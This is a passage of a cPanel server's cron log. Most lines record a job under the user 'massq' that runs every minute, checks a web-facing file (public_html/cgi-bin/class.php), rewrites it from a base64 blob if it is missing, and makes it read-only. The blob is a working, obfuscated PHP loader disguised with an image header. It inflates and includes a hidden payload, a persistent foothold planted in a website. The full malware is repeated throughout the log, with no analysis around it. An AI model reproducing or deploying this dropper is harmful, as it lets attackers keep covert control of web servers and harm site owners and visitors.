&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:54:01 server CROND[17471]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:55:01 server CROND[18320]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:55:01 server CROND[18321]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 13:55:01 server CROND[18322]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 13:56:01 server CROND[19212]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:57:01 server CROND[19860]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 13:57:01 server CROND[19861]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:58:01 server CROND[20676]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:59:01 server CROND[21498]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:00:01 server CROND[22434]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 14:00:01 server CROND[22435]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 14:00:01 server CROND[22437]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:00:01 server CROND[22436]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 14:00:01 server CROND[22433]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov  9 14:01:01 server CROND[23335]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:01:01 server CROND[23336]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 14:01:01 server run-parts(/etc/cron.hourly)[23336]: starting 0anacron
Nov  9 14:01:01 server run-parts(/etc/cron.hourly)[23348]: finished 0anacron
Nov  9 14:02:01 server CROND[24157]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:03:01 server CROND[24988]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:04:01 server CROND[25816]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:05:01 server CROND[26793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 14:05:01 server CROND[26794]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 14:05:01 server CROND[26797]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov  9 14:05:01 server CROND[26799]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:05:01 server CROND[26798]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
